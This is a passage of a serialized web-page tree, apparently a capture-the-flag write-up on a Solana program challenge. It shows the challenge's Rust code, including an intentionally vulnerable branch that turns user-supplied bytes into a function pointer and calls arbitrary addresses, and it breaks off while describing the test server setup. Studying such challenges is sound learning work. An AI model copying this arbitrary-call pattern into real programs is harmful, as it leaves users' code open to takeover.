val",{"type":23,"tag":314,"props":40020,"children":40021},{"style":354},[40022],{"type":28,"value":1237},{"type":23,"tag":314,"props":40024,"children":40025},{"style":338},[40026],{"type":28,"value":39903},{"type":23,"tag":314,"props":40028,"children":40029},{"style":354},[40030],{"type":28,"value":2737},{"type":23,"tag":314,"props":40032,"children":40033},{"style":338},[40034],{"type":28,"value":39912},{"type":23,"tag":314,"props":40036,"children":40037},{"style":354},[40038],{"type":28,"value":2737},{"type":23,"tag":314,"props":40040,"children":40041},{"style":332},[40042],{"type":28,"value":39921},{"type":23,"tag":314,"props":40044,"children":40045},{"style":354},[40046],{"type":28,"value":2737},{"type":23,"tag":314,"props":40048,"children":40049},{"style":338},[40050],{"type":28,"value":39930},{"type":23,"tag":314,"props":40052,"children":40053},{"style":2674},[40054],{"type":28,"value":2677},{"type":23,"tag":314,"props":40056,"children":40057},{"style":338},[40058],{"type":28,"value":16466},{"type":23,"tag":314,"props":40060,"children":40061},{"style":1054},[40062],{"type":28,"value":3330},{"type":23,"tag":314,"props":40064,"children":40065},{"style":338},[40066],{"type":28,"value":22298},{"type":23,"tag":314,"props":40068,"children":40069},{"style":2674},[40070],{"type":28,"value":7297},{"type":23,"tag":314,"props":40072,"children":40073},{"style":338},[40074],{"type":28,"value":6866},{"type":23,"tag":314,"props":40076,"children":40077},{"style":360},[40078],{"type":28,"value":249},{"type":23,"tag":314,"props":40080,"children":40081},{"style":338},[40082],{"type":28,"value":1312},{"type":23,"tag":314,"props":40084,"children":40085},{"style":1054},[40086],{"type":28,"value":3330},{"type":23,"tag":314,"props":40088,"children":40089},{"style":354},[40090],{"type":28,"value":2306},{"type":23,"tag":314,"props":40092,"children":40093},{"style":1054},[40094],{"type":28,"value":40095},"16",{"type":23,"tag":314,"props":40097,"children":40098},{"style":338},[40099],{"type":28,"value":14653},{"type":23,"tag":314,"props":40101,"children":40102},{"style":354},[40103],{"type":28,"value":282},{"type":23,"tag":314,"props":40105,"children":40106},{"style":332},[40107],{"type":28,"value":25408},{"type":23,"tag":314,"props":40109,"children":40110},{"style":338},[40111],{"type":28,"value":13126},{"type":23,"tag":314,"props":40113,"children":40114},{"style":354},[40115],{"type":28,"value":282},{"type":23,"tag":314,"props":40117,"children":40118},{"style":332},[40119],{"type":28,"value":2921},{"type":23,"tag":314,"props":40121,"children":40122},{"style":338},[40123],{"type":28,"value":14667},{"type":23,"tag":314,"props":40125,"children":40126},{"class":316,"line":1173},[40127,40132,40136,40141,40145,40149],{"type":23,"tag":314,"props":40128,"children":40129},{"style":360},[40130],{"type":28,"value":40131}," ptr",{"type":23,"tag":314,"props":40133,"children":40134},{"style":354},[40135],{"type":28,"value":282},{"type":23,"tag":314,"props":40137,"children":40138},{"style":332},[40139],{"type":28,"value":40140},"write_volatile",{"type":23,"tag":314,"props":40142,"children":40143},{"style":338},[40144],{"type":28,"value":341},{"type":23,"tag":314,"props":40146,"children":40147},{"style":360},[40148],{"type":28,"value":11880},{"type":23,"tag":314,"props":40150,"children":40151},{"style":338},[40152],{"type":28,"value":1025},{"type":23,"tag":314,"props":40154,"children":40155},{"class":316,"line":1208},[40156],{"type":23,"tag":314,"props":40157,"children":40158},{"style":338},[40159],{"type":28,"value":2610},{"type":23,"tag":314,"props":40161,"children":40162},{"class":316,"line":1216},[40163],{"type":23,"tag":314,"props":40164,"children":40165},{"style":338},[40166],{"type":28,"value":386},{"type":23,"tag":84,"props":40168,"children":40169},{"start":370},[40170],{"type":23,"tag":88,"props":40171,"children":40172},{},[40173,40174,40180],{"type":28,"value":6735},{"type":23,"tag":94,"props":40175,"children":40177},{"className":40176},[],[40178],{"type":28,"value":40179},"data[0] == 1",{"type":28,"value":40181},", a CPI to a non-existent program is executed:",{"type":23,"tag":304,"props":40183,"children":40185},{"className":2234,"code":40184,"language":2233,"meta":7,"style":7},"#[inline(never)]\npub fn call(data: &[u8]) {\n let ix = Instruction {\n program_id: pubkey!(\"osecio5555555555555551111111111111111111111\"),\n data: data.try_into().unwrap(),\n accounts: vec![]\n };\n\n invoke_signed_unchecked(\n &ix,\n &[],\n &[],\n ).unwrap();\n}\n",[40186],{"type":23,"tag":94,"props":40187,"children":40188},{"__ignoreMap":7},[40189,40196,40240,40265,40295,40335,40356,40363,40370,40382,40398,40410,40421,40440],{"type":23,"tag":314,"props":40190,"children":40191},{"class":316,"line":317},[40192],{"type":23,"tag":314,"props":40193,"children":40194},{"style":338},[40195],{"type":28,"value":39827},{"type":23,"tag":314,"props":40197,"children":40198},{"class":316,"line":370},[40199,40203,40207,40212,40216,40220,40224,40228,40232,40236],{"type":23,"tag":314,"props":40200,"children":40201},{"style":321},[40202],{"type":28,"value":12938},{"type":23,"tag":314,"props":40204,"children":40205},{"style":321},[40206],{"type":28,"value":12943},{"type":23,"tag":314,"props":40208,"children":40209},{"style":332},[40210],{"type":28,"value":40211}," call",{"type":23,"tag":314,"props":40213,"children":40214},{"style":338},[40215],{"type":28,"value":341},{"type":23,"tag":314,"props":40217,"children":40218},{"style":360},[40219],{"type":28,"value":249},{"type":23,"tag":314,"props":40221,"children":40222},{"style":354},[40223],{"type":28,"value":3746},{"type":23,"tag":314,"props":40225,"children":40226},{"style":354},[40227],{"type":28,"value":1968},{"type":23,"tag":314,"props":40229,"children":40230},{"style":338},[40231],{"type":28,"value":1312},{"type":23,"tag":314,"props":40233,"children":40234},{"style":2674},[40235],{"type":28,"value":2677},{"type":23,"tag":314,"props":40237,"children":40238},{"style":338},[40239],{"type":28,"value":39872},{"type":23,"tag":314,"props":40241,"children":40242},{"class":316,"line":380},[40243,40247,40252,40256,40261],{"type":23,"tag":314,"props":40244,"children":40245},{"style":321},[40246],{"type":28,"value":2254},{"type":23,"tag":314,"props":40248,"children":40249},{"style":360},[40250],{"type":28,"value":40251}," ix",{"type":23,"tag":314,"props":40253,"children":40254},{"style":354},[40255],{"type":28,"value":1237},{"type":23,"tag":314,"props":40257,"children":40258},{"style":2674},[40259],{"type":28,"value":40260}," Instruction",{"type":23,"tag":314,"props":40262,"children":40263},{"style":338},[40264],{"type":28,"value":1449},{"type":23,"tag":314,"props":40266,"children":40267},{"class":316,"line":1091},[40268,40273,40277,40282,40286,40291],{"type":23,"tag":314,"props":40269,"children":40270},{"style":360},[40271],{"type":28,"value":40272}," program_id",{"type":23,"tag":314,"props":40274,"children":40275},{"style":354},[40276],{"type":28,"value":3746},{"type":23,"tag":314,"props":40278,"children":40279},{"style":332},[40280],{"type":28,"value":40281}," pubkey!",{"type":23,"tag":314,"props":40283,"children":40284},{"style":338},[40285],{"type":28,"value":341},{"type":23,"tag":314,"props":40287,"children":40288},{"style":1245},[40289],{"type":28,"value":40290},"\"osecio5555555555555551111111111111111111111\"",{"type":23,"tag":314,"props":40292,"children":40293},{"style":338},[40294],{"type":28,"value":5992},{"type":23,"tag":314,"props":40296,"children":40297},{"class":316,"line":1141},[40298,40303,40307,40311,40315,40319,40323,40327,40331],{"type":23,"tag":314,"props":40299,"children":40300},{"style":360},[40301],{"type":28,"value":40302}," data",{"type":23,"tag":314,"props":40304,"children":40305},{"style":354},[40306],{"type":28,"value":3746},{"type":23,"tag":314,"props":40308,"children":40309},{"style":360},[40310],{"type":28,"value":1558},{"type":23,"tag":314,"props":40312,"children":40313},{"style":354},[40314],{"type":28,"value":282},{"type":23,"tag":314,"props":40316,"children":40317},{"style":332},[40318],{"type":28,"value":25408},{"type":23,"tag":314,"props":40320,"children":40321},{"style":338},[40322],{"type":28,"value":13126},{"type":23,"tag":314,"props":40324,"children":40325},{"style":354},[40326],{"type":28,"value":282},{"type":23,"tag":314,"props":40328,"children":40329},{"style":332},[40330],{"type":28,"value":2921},{"type":23,"tag":314,"props":40332,"children":40333},{"style":338},[40334],{"type":28,"value":2747},{"type":23,"tag":314,"props":40336,"children":40337},{"class":316,"line":1173},[40338,40343,40347,40351],{"type":23,"tag":314,"props":40339,"children":40340},{"style":360},[40341],{"type":28,"value":40342}," accounts",{"type":23,"tag":314,"props":40344,"children":40345},{"style":354},[40346],{"type":28,"value":3746},{"type":23,"tag":314,"props":40348,"children":40349},{"style":332},[40350],{"type":28,"value":2984},{"type":23,"tag":314,"props":40352,"children":40353},{"style":338},[40354],{"type":28,"value":40355},"[]\n",{"type":23,"tag":314,"props":40357,"children":40358},{"class":316,"line":1208},[40359],{"type":23,"tag":314,"props":40360,"children":40361},{"style":338},[40362],{"type":28,"value":38244},{"type":23,"tag":314,"props":40364,"children":40365},{"class":316,"line":1216},[40366],{"type":23,"tag":314,"props":40367,"children":40368},{"emptyLinePlaceholder":18},[40369],{"type":28,"value":1088},{"type":23,"tag":314,"props":40371,"children":40372},{"class":316,"line":1301},[40373,40378],{"type":23,"tag":314,"props":40374,"children":40375},{"style":332},[40376],{"type":28,"value":40377}," invoke_signed_unchecked",{"type":23,"tag":314,"props":40379,"children":40380},{"style":338},[40381],{"type":28,"value":2719},{"type":23,"tag":314,"props":40383,"children":40384},{"class":316,"line":1343},[40385,40389,40394],{"type":23,"tag":314,"props":40386,"children":40387},{"style":354},[40388],{"type":28,"value":2727},{"type":23,"tag":314,"props":40390,"children":40391},{"style":360},[40392],{"type":28,"value":40393},"ix",{"type":23,"tag":314,"props":40395,"children":40396},{"style":338},[40397],{"type":28,"value":1870},{"type":23,"tag":314,"props":40399,"children":40400},{"class":316,"line":1351},[40401,40405],{"type":23,"tag":314,"props":40402,"children":40403},{"style":354},[40404],{"type":28,"value":2727},{"type":23,"tag":314,"props":40406,"children":40407},{"style":338},[40408],{"type":28,"value":40409},"[],\n",{"type":23,"tag":314,"props":40411,"children":40412},{"class":316,"line":1387},[40413,40417],{"type":23,"tag":314,"props":40414,"children":40415},{"style":354},[40416],{"type":28,"value":2727},{"type":23,"tag":314,"props":40418,"children":40419},{"style":338},[40420],{"type":28,"value":40409},{"type":23,"tag":314,"props":40422,"children":40423},{"class":316,"line":1422},[40424,40428,40432,40436],{"type":23,"tag":314,"props":40425,"children":40426},{"style":338},[40427],{"type":28,"value":2912},{"type":23,"tag":314,"props":40429,"children":40430},{"style":354},[40431],{"type":28,"value":282},{"type":23,"tag":314,"props":40433,"children":40434},{"style":332},[40435],{"type":28,"value":2921},{"type":23,"tag":314,"props":40437,"children":40438},{"style":338},[40439],{"type":28,"value":2926},{"type":23,"tag":314,"props":40441,"children":40442},{"class":316,"line":1430},[40443],{"type":23,"tag":314,"props":40444,"children":40445},{"style":338},[40446],{"type":28,"value":386},{"type":23,"tag":84,"props":40448,"children":40449},{"start":380},[40450],{"type":23,"tag":88,"props":40451,"children":40452},{},[40453,40455,40461],{"type":28,"value":40454},"Finally, if ",{"type":23,"tag":94,"props":40456,"children":40458},{"className":40457},[],[40459],{"type":28,"value":40460},"data[0]",{"type":28,"value":40462}," is neither 0 nor 1, a function that lets you jump to an arbitrary address, passing an arbitrary value as the first parameter is executed:",{"type":23,"tag":304,"props":40464,"children":40466},{"className":2234,"code":40465,"language":2233,"meta":7,"style":7},"#[inline(never)]\npub fn process(mut data: &[u8]) {\n unsafe {\n let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr(val);\n\n data = &data[16..];\n\n let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr(val);\n }\n}\n",[40467],{"type":23,"tag":94,"props":40468,"children":40469},{"__ignoreMap":7},[40470,40477,40525,40536,40656,40771,40790,40797,40832,40839,40958,41073,41092,41099],{"type":23,"tag":314,"props":40471,"children":40472},{"class":316,"line":317},[40473],{"type":23,"tag":314,"props":40474,"children":40475},{"style":338},[40476],{"type":28,"value":39827},{"type":23,"tag":314,"props":40478,"children":40479},{"class":316,"line":370},[40480,40484,40488,40493,40497,40501,40505,40509,40513,40517,40521],{"type":23,"tag":314,"props":40481,"children":40482},{"style":321},[40483],{"type":28,"value":12938},{"type":23,"tag":314,"props":40485,"children":40486},{"style":321},[40487],{"type":28,"value":12943},{"type":23,"tag":314,"props":40489,"children":40490},{"style":332},[40491],{"type":28,"value":40492}," process",{"type":23,"tag":314,"props":40494,"children":40495},{"style":338},[40496],{"type":28,"value":341},{"type":23,"tag":314,"props":40498,"children":40499},{"style":321},[40500],{"type":28,"value":2979},{"type":23,"tag":314,"props":40502,"children":40503},{"style":360},[40504],{"type":28,"value":1558},{"type":23,"tag":314,"props":40506,"children":40507},{"style":354},[40508],{"type":28,"value":3746},{"type":23,"tag":314,"props":40510,"children":40511},{"style":354},[40512],{"type":28,"value":1968},{"type":23,"tag":314,"props":40514,"children":40515},{"style":338},[40516],{"type":28,"value":1312},{"type":23,"tag":314,"props":40518,"children":40519},{"style":2674},[40520],{"type":28,"value":2677},{"type":23,"tag":314,"props":40522,"children":40523},{"style":338},[40524],{"type":28,"value":39872},{"type":23,"tag":314,"props":40526,"children":40527},{"class":316,"line":380},[40528,40532],{"type":23,"tag":314,"props":40529,"children":40530},{"style":321},[40531],{"type":28,"value":13080},{"type":23,"tag":314,"props":40533,"children":40534},{"style":338},[40535],{"type":28,"value":1449},{"type":23,"tag":314,"props":40537,"children":40538},{"class":316,"line":1091},[40539,40543,40547,40551,40555,40559,40563,40567,40571,40575,40579,40583,40587,40591,40595,40599,40603,40607,40612,40616,40620,40624,40628,40632,40636,40640,40644,40648,40652],{"type":23,"tag":314,"props":40540,"children":40541},{"style":321},[40542],{"type":28,"value":2319},{"type":23,"tag":314,"props":40544,"children":40545},{"style":360},[40546],{"type":28,"value":13104},{"type":23,"tag":314,"props":40548,"children":40549},{"style":354},[40550],{"type":28,"value":1237},{"type":23,"tag":314,"props":40552,"children":40553},{"style":338},[40554],{"type":28,"value":39903},{"type":23,"tag":314,"props":40556,"children":40557},{"style":354},[40558],{"type":28,"value":2737},{"type":23,"tag":314,"props":40560,"children":40561},{"style":338},[40562],{"type":28,"value":39912},{"type":23,"tag":314,"props":40564,"children":40565},{"style":354},[40566],{"type":28,"value":2737},{"type":23,"tag":314,"props":40568,"children":40569},{"style":332},[40570],{"type":28,"value":39921},{"type":23,"tag":314,"props":40572,"children":40573},{"style":354},[40574],{"type":28,"value":2737},{"type":23,"tag":314,"props":40576,"children":40577},{"style":338},[40578],{"type":28,"value":39930},{"type":23,"tag":314,"props":40580,"children":40581},{"style":2674},[40582],{"type":28,"value":2677},{"type":23,"tag":314,"props":40584,"children":40585},{"style":338},[40586],{"type":28,"value":16466},{"type":23,"tag":314,"props":40588,"children":40589},{"style":1054},[40590],{"type":28,"value":3330},{"type":23,"tag":314,"props":40592,"children":40593},{"style":338},[40594],{"type":28,"value":22298},{"type":23,"tag":314,"props":40596,"children":40597},{"style":321},[40598],{"type":28,"value":19504},{"type":23,"tag":314,"props":40600,"children":40601},{"style":338},[40602],{"type":28,"value":341},{"type":23,"tag":314,"props":40604,"children":40605},{"style":2674},[40606],{"type":28,"value":7297},{"type":23,"tag":314,"props":40608,"children":40609},{"style":338},[40610],{"type":28,"value":40611},")>(",{"type":23,"tag":314,"props":40613,"children":40614},{"style":360},[40615],{"type":28,"value":249},{"type":23,"tag":314,"props":40617,"children":40618},{"style":338},[40619],{"type":28,"value":1312},{"type":23,"tag":314,"props":40621,"children":40622},{"style":354},[40623],{"type":28,"value":2306},{"type":23,"tag":314,"props":40625,"children":40626},{"style":1054},[40627],{"type":28,"value":3330},{"type":23,"tag":314,"props":40629,"children":40630},{"style":338},[40631],{"type":28,"value":14653},{"type":23,"tag":314,"props":40633,"children":40634},{"style":354},[40635],{"type":28,"value":282},{"type":23,"tag":314,"props":40637,"children":40638},{"style":332},[40639],{"type":28,"value":25408},{"type":23,"tag":314,"props":40641,"children":40642},{"style":338},[40643],{"type":28,"value":13126},{"type":23,"tag":314,"props":40645,"children":40646},{"style":354},[40647],{"type":28,"value":282},{"type":23,"tag":314,"props":40649,"children":40650},{"style":332},[40651],{"type":28,"value":2921},{"type":23,"tag":314,"props":40653,"children":40654},{"style":338},[40655],{"type":28,"value":14667},{"type":23,"tag":314,"props":40657,"children":40658},{"class":316,"line":1141},[40659,40663,40667,40671,40675,40679,40683,40687,40691,40695,40699,40703,40707,40711,40715,40719,40723,40727,40731,40735,40739,40743,40747,40751,40755,40759,40763,40767],{"type":23,"tag":314,"props":40660,"children":40661},{"style":321},[40662],{"type":28,"value":2319},{"type":23,"tag":314,"props":40664,"children":40665},{"style":360},[40666],{"type":28,"value":40018},{"type":23,"tag":314,"props":40668,"children":40669},{"style":354},[40670],{"type":28,"value":1237},{"type":23,"tag":314,"props":40672,"children":40673},{"style":338},[40674],{"type":28,"value":39903},{"type":23,"tag":314,"props":40676,"children":40677},{"style":354},[40678],{"type":28,"value":2737},{"type":23,"tag":314,"props":40680,"children":40681},{"style":338},[40682],{"type":28,"value":39912},{"type":23,"tag":314,"props":40684,"children":40685},{"style":354},[40686],{"type":28,"value":2737},{"type":23,"tag":314,"props":40688,"children":40689},{"style":332},[40690],{"type":28,"value":39921},{"type":23,"tag":314,"props":40692,"children":40693},{"style":354},[40694],{"type":28,"value":2737},{"type":23,"tag":314,"props":40696,"children":40697},{"style":338},[40698],{"type":28,"value":39930},{"type":23,"tag":314,"props":40700,"children":40701},{"style":2674},[40702],{"type":28,"value":2677},{"type":23,"tag":314,"props":40704,"children":40705},{"style":338},[40706],{"type":28,"value":16466},{"type":23,"tag":314,"props":40708,"children":40709},{"style":1054},[40710],{"type":28,"value":3330},{"type":23,"tag":314,"props":40712,"children":40713},{"style":338},[40714],{"type":28,"value":22298},{"type":23,"tag":314,"props":40716,"children":40717},{"style":2674},[40718],{"type":28,"value":7297},{"type":23,"tag":314,"props":40720,"children":40721},{"style":338},[40722],{"type":28,"value":6866},{"type":23,"tag":314,"props":40724,"children":40725},{"style":360},[40726],{"type":28,"value":249},{"type":23,"tag":314,"props":40728,"children":40729},{"style":338},[40730],{"type":28,"value":1312},{"type":23,"tag":314,"props":40732,"children":40733},{"style":1054},[40734],{"type":28,"value":3330},{"type":23,"tag":314,"props":40736,"children":40737},{"style":354},[40738],{"type":28,"value":2306},{"type":23,"tag":314,"props":40740,"children":40741},{"style":1054},[40742],{"type":28,"value":40095},{"type":23,"tag":314,"props":40744,"children":40745},{"style":338},[40746],{"type":28,"value":14653},{"type":23,"tag":314,"props":40748,"children":40749},{"style":354},[40750],{"type":28,"value":282},{"type":23,"tag":314,"props":40752,"children":40753},{"style":332},[40754],{"type":28,"value":25408},{"type":23,"tag":314,"props":40756,"children":40757},{"style":338},[40758],{"type":28,"value":13126},{"type":23,"tag":314,"props":40760,"children":40761},{"style":354},[40762],{"type":28,"value":282},{"type":23,"tag":314,"props":40764,"children":40765},{"style":332},[40766],{"type":28,"value":2921},{"type":23,"tag":314,"props":40768,"children":40769},{"style":338},[40770],{"type":28,"value":14667},{"type":23,"tag":314,"props":40772,"children":40773},{"class":316,"line":1173},[40774,40778,40782,40786],{"type":23,"tag":314,"props":40775,"children":40776},{"style":332},[40777],{"type":28,"value":40131},{"type":23,"tag":314,"props":40779,"children":40780},{"style":338},[40781],{"type":28,"value":341},{"type":23,"tag":314,"props":40783,"children":40784},{"style":360},[40785],{"type":28,"value":11880},{"type":23,"tag":314,"props":40787,"children":40788},{"style":338},[40789],{"type":28,"value":1025},{"type":23,"tag":314,"props":40791,"children":40792},{"class":316,"line":1208},[40793],{"type":23,"tag":314,"props":40794,"children":40795},{"emptyLinePlaceholder":18},[40796],{"type":28,"value":1088},{"type":23,"tag":314,"props":40798,"children":40799},{"class":316,"line":1216},[40800,40804,40808,40812,40816,40820,40824,40828],{"type":23,"tag":314,"props":40801,"children":40802},{"style":360},[40803],{"type":28,"value":40302},{"type":23,"tag":314,"props":40805,"children":40806},{"style":354},[40807],{"type":28,"value":1237},{"type":23,"tag":314,"props":40809,"children":40810},{"style":354},[40811],{"type":28,"value":1968},{"type":23,"tag":314,"props":40813,"children":40814},{"style":360},[40815],{"type":28,"value":249},{"type":23,"tag":314,"props":40817,"children":40818},{"style":338},[40819],{"type":28,"value":1312},{"type":23,"tag":314,"props":40821,"children":40822},{"style":1054},[40823],{"type":28,"value":40095},{"type":23,"tag":314,"props":40825,"children":40826},{"style":354},[40827],{"type":28,"value":2306},{"type":23,"tag":314,"props":40829,"children":40830},{"style":338},[40831],{"type":28,"value":2005},{"type":23,"tag":314,"props":40833,"children":40834},{"class":316,"line":1301},[40835],{"type":23,"tag":314,"props":40836,"children":40837},{"emptyLinePlaceholder":18},[40838],{"type":28,"value":1088},{"type":23,"tag":314,"props":40840,"children":40841},{"class":316,"line":1343},[40842,40846,40850,40854,40858,40862,40866,40870,40874,40878,40882,40886,40890,40894,40898,40902,40906,40910,40914,40918,40922,40926,40930,40934,40938,40942,40946,40950,40954],{"type":23,"tag":314,"props":40843,"children":40844},{"style":321},[40845],{"type":28,"value":2319},{"type":23,"tag":314,"props":40847,"children":40848},{"style":360},[40849],{"type":28,"value":13104},{"type":23,"tag":314,"props":40851,"children":40852},{"style":354},[40853],{"type":28,"value":1237},{"type":23,"tag":314,"props":40855,"children":40856},{"style":338},[40857],{"type":28,"value":39903},{"type":23,"tag":314,"props":40859,"children":40860},{"style":354},[40861],{"type":28,"value":2737},{"type":23,"tag":314,"props":40863,"children":40864},{"style":338},[40865],{"type":28,"value":39912},{"type":23,"tag":314,"props":40867,"children":40868},{"style":354},[40869],{"type":28,"value":2737},{"type":23,"tag":314,"props":40871,"children":40872},{"style":332},[40873],{"type":28,"value":39921},{"type":23,"tag":314,"props":40875,"children":40876},{"style":354},[40877],{"type":28,"value":2737},{"type":23,"tag":314,"props":40879,"children":40880},{"style":338},[40881],{"type":28,"value":39930},{"type":23,"tag":314,"props":40883,"children":40884},{"style":2674},[40885],{"type":28,"value":2677},{"type":23,"tag":314,"props":40887,"children":40888},{"style":338},[40889],{"type":28,"value":16466},{"type":23,"tag":314,"props":40891,"children":40892},{"style":1054},[40893],{"type":28,"value":3330},{"type":23,"tag":314,"props":40895,"children":40896},{"style":338},[40897],{"type":28,"value":22298},{"type":23,"tag":314,"props":40899,"children":40900},{"style":321},[40901],{"type":28,"value":19504},{"type":23,"tag":314,"props":40903,"children":40904},{"style":338},[40905],{"type":28,"value":341},{"type":23,"tag":314,"props":40907,"children":40908},{"style":2674},[40909],{"type":28,"value":7297},{"type":23,"tag":314,"props":40911,"children":40912},{"style":338},[40913],{"type":28,"value":40611},{"type":23,"tag":314,"props":40915,"children":40916},{"style":360},[40917],{"type":28,"value":249},{"type":23,"tag":314,"props":40919,"children":40920},{"style":338},[40921],{"type":28,"value":1312},{"type":23,"tag":314,"props":40923,"children":40924},{"style":354},[40925],{"type":28,"value":2306},{"type":23,"tag":314,"props":40927,"children":40928},{"style":1054},[40929],{"type":28,"value":3330},{"type":23,"tag":314,"props":40931,"children":40932},{"style":338},[40933],{"type":28,"value":14653},{"type":23,"tag":314,"props":40935,"children":40936},{"style":354},[40937],{"type":28,"value":282},{"type":23,"tag":314,"props":40939,"children":40940},{"style":332},[40941],{"type":28,"value":25408},{"type":23,"tag":314,"props":40943,"children":40944},{"style":338},[40945],{"type":28,"value":13126},{"type":23,"tag":314,"props":40947,"children":40948},{"style":354},[40949],{"type":28,"value":282},{"type":23,"tag":314,"props":40951,"children":40952},{"style":332},[40953],{"type":28,"value":2921},{"type":23,"tag":314,"props":40955,"children":40956},{"style":338},[40957],{"type":28,"value":14667},{"type":23,"tag":314,"props":40959,"children":40960},{"class":316,"line":1351},[40961,40965,40969,40973,40977,40981,40985,40989,40993,40997,41001,41005,41009,41013,41017,41021,41025,41029,41033,41037,41041,41045,41049,41053,41057,41061,41065,41069],{"type":23,"tag":314,"props":40962,"children":40963},{"style":321},[40964],{"type":28,"value":2319},{"type":23,"tag":314,"props":40966,"children":40967},{"style":360},[40968],{"type":28,"value":40018},{"type":23,"tag":314,"props":40970,"children":40971},{"style":354},[40972],{"type":28,"value":1237},{"type":23,"tag":314,"props":40974,"children":40975},{"style":338},[40976],{"type":28,"value":39903},{"type":23,"tag":314,"props":40978,"children":40979},{"style":354},[40980],{"type":28,"value":2737},{"type":23,"tag":314,"props":40982,"children":40983},{"style":338},[40984],{"type":28,"value":39912},{"type":23,"tag":314,"props":40986,"children":40987},{"style":354},[40988],{"type":28,"value":2737},{"type":23,"tag":314,"props":40990,"children":40991},{"style":332},[40992],{"type":28,"value":39921},{"type":23,"tag":314,"props":40994,"children":40995},{"style":354},[40996],{"type":28,"value":2737},{"type":23,"tag":314,"props":40998,"children":40999},{"style":338},[41000],{"type":28,"value":39930},{"type":23,"tag":314,"props":41002,"children":41003},{"style":2674},[41004],{"type":28,"value":2677},{"type":23,"tag":314,"props":41006,"children":41007},{"style":338},[41008],{"type":28,"value":16466},{"type":23,"tag":314,"props":41010,"children":41011},{"style":1054},[41012],{"type":28,"value":3330},{"type":23,"tag":314,"props":41014,"children":41015},{"style":338},[41016],{"type":28,"value":22298},{"type":23,"tag":314,"props":41018,"children":41019},{"style":2674},[41020],{"type":28,"value":7297},{"type":23,"tag":314,"props":41022,"children":41023},{"style":338},[41024],{"type":28,"value":6866},{"type":23,"tag":314,"props":41026,"children":41027},{"style":360},[41028],{"type":28,"value":249},{"type":23,"tag":314,"props":41030,"children":41031},{"style":338},[41032],{"type":28,"value":1312},{"type":23,"tag":314,"props":41034,"children":41035},{"style":1054},[41036],{"type":28,"value":3330},{"type":23,"tag":314,"props":41038,"children":41039},{"style":354},[41040],{"type":28,"value":2306},{"type":23,"tag":314,"props":41042,"children":41043},{"style":1054},[41044],{"type":28,"value":40095},{"type":23,"tag":314,"props":41046,"children":41047},{"style":338},[41048],{"type":28,"value":14653},{"type":23,"tag":314,"props":41050,"children":41051},{"style":354},[41052],{"type":28,"value":282},{"type":23,"tag":314,"props":41054,"children":41055},{"style":332},[41056],{"type":28,"value":25408},{"type":23,"tag":314,"props":41058,"children":41059},{"style":338},[41060],{"type":28,"value":13126},{"type":23,"tag":314,"props":41062,"children":41063},{"style":354},[41064],{"type":28,"value":282},{"type":23,"tag":314,"props":41066,"children":41067},{"style":332},[41068],{"type":28,"value":2921},{"type":23,"tag":314,"props":41070,"children":41071},{"style":338},[41072],{"type":28,"value":14667},{"type":23,"tag":314,"props":41074,"children":41075},{"class":316,"line":1387},[41076,41080,41084,41088],{"type":23,"tag":314,"props":41077,"children":41078},{"style":332},[41079],{"type":28,"value":40131},{"type":23,"tag":314,"props":41081,"children":41082},{"style":338},[41083],{"type":28,"value":341},{"type":23,"tag":314,"props":41085,"children":41086},{"style":360},[41087],{"type":28,"value":11880},{"type":23,"tag":314,"props":41089,"children":41090},{"style":338},[41091],{"type":28,"value":1025},{"type":23,"tag":314,"props":41093,"children":41094},{"class":316,"line":1422},[41095],{"type":23,"tag":314,"props":41096,"children":41097},{"style":338},[41098],{"type":28,"value":2610},{"type":23,"tag":314,"props":41100,"children":41101},{"class":316,"line":1430},[41102],{"type":23,"tag":314,"props":41103,"children":41104},{"style":338},[41105],{"type":28,"value":386},{"type":23,"tag":837,"props":41107,"children":41109},{"id":41108},"test-environment",[41110],{"type":28,"value":41111},"Test Environment",{"type":23,"tag":24,"props":41113,"children":41114},{},[41115],{"type":28,"value":41116},"To understand our capabilites regarding interaction with the program and determine what is necessary to get the flag, we must analyze the test environment.",{"type":23,"tag":24,"props":41118,"children":41119},{},[41120,41122,41128],{"type":28,"value":41121},"When you connect to the server through a tcp connection, ",{"type":23,"tag":94,"props":41123,"children":41125},{"className":41124},[],[41126],{"type":28,"value":41127},"framework/src/main.rs::handle_connection",{"type":28,"value":41129}," gets executed, which does the following:",{"type":23,"tag":84,"props":41131,"children":41132},{},[41133],{"type":23,"tag":88,"props":41134,"children":41135},{},[41136],{"type":28,"value":41137},"Creates a new Solana local node",{"type":23,"tag":304,"props":41139,"children":41141},{"className":2234,"code":41140,"language":2233,"meta":7,"style":7},"let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();\nassert!(builder.add_program(\"/path/to/chall.so\", Some(chall::ID)) == chall::ID);\nlet mut chall = builder.build().await;\n",[41142],{"type":23,"tag":94,"props":41143,"children":41144},{"__ignoreMap":7},[41145,41226,41302],{"type":23,"tag":314,"props":41146,"children":41147},{"class":316,"line":317},[41148,41152,41156,41161,41165,41170,41174,41179,41183,41188,41192,41197,41201,41205,41209,41214,41218,41222],{"type":23,"tag":314,"props":41149,"children":41150},{"style":321},[41151],{"type":28,"value":11035},{"type":23,"tag":314,"props":41153,"children":41154},{"style":321},[41155],{"type":28,"value":2259},{"type":23,"tag":314,"props":41157,"children":41158},{"style":360},[41159],{"type":28,"value":41160}," builder",{"type":23,"tag":314,"props":41162,"children":41163},{"style":354},[41164],{"type":28,"value":1237},{"type":23,"tag":314,"props":41166,"children":41167},{"style":2674},[41168],{"type":28,"value":41169}," 